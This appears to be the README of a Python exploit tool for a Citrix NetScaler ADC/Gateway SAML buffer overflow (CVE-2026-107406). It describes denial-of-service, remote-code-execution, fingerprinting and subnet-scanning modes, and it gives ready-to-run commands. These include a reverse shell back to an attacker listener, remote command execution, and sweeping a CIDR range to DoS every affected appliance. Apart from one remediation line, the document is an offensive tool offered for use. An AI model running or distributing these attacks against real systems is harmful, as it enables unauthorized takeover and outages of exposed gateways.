
Python 3 exploit for Citrix NetScaler ADC/Gateway SAML buffer overflow (CVE-2026-107406) with probe, scan, DoS, and RCE modes plus an offline mock appliance.
Remote-access exploit for a critical, unauthenticated memory-overflow flaw in Citrix NetScaler ADC and NetScaler Gateway. Self-contained Python 3 tool (standard library only), with an offline mock appliance for end-to-end verification.
| Field | Value |
|---|---|
| CVE | CVE-2026-107406 |
| Vendor / product | Citrix — NetScaler ADC (formerly Citrix ADC) and NetScaler Gateway (formerly Citrix Gateway) |
| Condition | Appliance configured as a SAML Service Provider (SP) or SAML Identity Provider (IdP) |
| Weakness | CWE-119 — improper restriction of operations within the bounds of a memory buffer |
| Root cause | The SAML message parser copies attacker-supplied input into a fixed-size buffer without adequate bounds checking, overwriting adjacent memory |
| Vector | Unauthenticated, network-reachable, no user interaction |
| Outcome | Remote Code Execution (high complexity, configuration-dependent) or Denial of Service |
| CVSS v4.0 | 9.5 Critical — AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L |
| Published | NVD 2026-10-08 (last modified 2026-10-10) |
| Advisory | Citrix KB Article CTX697191 |
Because SAML endpoints must be reachable to function, affected appliances are typically exposed to untrusted networks — making them high-priority remediation targets.
Affected when a SAML SP or IdP is configured (IdP-only band where noted):
14.1-73.37 (SP or IdP); 14.1-73.37…14.1-73.41 inclusive (IdP only)14.1-73.37 FIPS (SP or IdP); 14.1-73.37…14.1-73.41 FIPS inclusive (IdP only)13.1-64.23 (SP or IdP); 13.1-64.23…13.1-64.28 inclusive (IdP only)13.1-37.279 (SP or IdP); 13.1-37.279…13.1-37.282 inclusive (IdP only)Fixed builds are published per release train in CTX697191. Upgrade to a fixed
build; the exact fixed marker used by this tool's affected/not-affected decision is
documented in FIXED_MARKERS in the source.
The tool emulates an untrusted SAML peer and drives the vulnerable parser:
dos — sends a SAML AuthnRequest/Response whose chosen field (NameID,
Issuer, or Attribute value) is inflated to a size far beyond the fixed-size
parser buffer. The overflow corrupts adjacent memory and the SAML handler /
nsppe process crashes → reliable DoS. An optional --flood N repeats the
message for an exhaustion-style DoS.rce — delivers a shaped overflow carrying an embedded payload. Because
exact offsets are firmware-specific and undisclosed (CVSS AC:H), RCE is a
best-effort, verifiable primitive: the tool can --spray candidate overflow
sizes and confirms success only on a real connect-back (reverse shell), a
bind shell, or an exec marker. It never claims success without evidence.probe — fingerprints the appliance (Citrix signature, product, firmware)
and confirms the SAML endpoint is present, then reports the affected decision.scan — sweeps a CIDR / host list for affected SAML-enabled appliances and
optionally exploits them in parallel.serve / selftest — built-in "affected appliance" mock so the whole
pipeline can be demonstrated and regression-tested offline.# Fingerprint a target
python3 cve_2026_107406_exploit.py probe -t netscaler.example.com
# Reliable denial of service (SP role)
python3 cve_2026_107406_exploit.py dos -t netscaler.example.com --mode sp
# Remote code execution -> reverse shell back to you
python3 cve_2026_107406_exploit.py rce -t netscaler.example.com \
--payload reverse --listen-addr 203.0.113.9 --listen-port 4444
# Remote code execution -> run a command, leaving a marker for verification
python3 cve_2026_107406_exploit.py rce -t netscaler.example.com \
--payload exec --exec-cmd 'id; uname -a'
# Sweep a subnet for affected SAML appliances and DoS them
python3 cve_2026_107406_exploit.py scan --range 192.0.2.0/24 --exploit --action dos
# Offline end-to-end demonstration (mock appliance + DoS + RCE)
python3 cve_2026_107406_exploit.py selftest
Key options: --mode {sp,idp,auto}, --endpoint /saml2/SSO, --size (overflow
bytes), --https/--insecure, --timeout, --payload {reverse,bind,exec},
--spray (layout search), --json.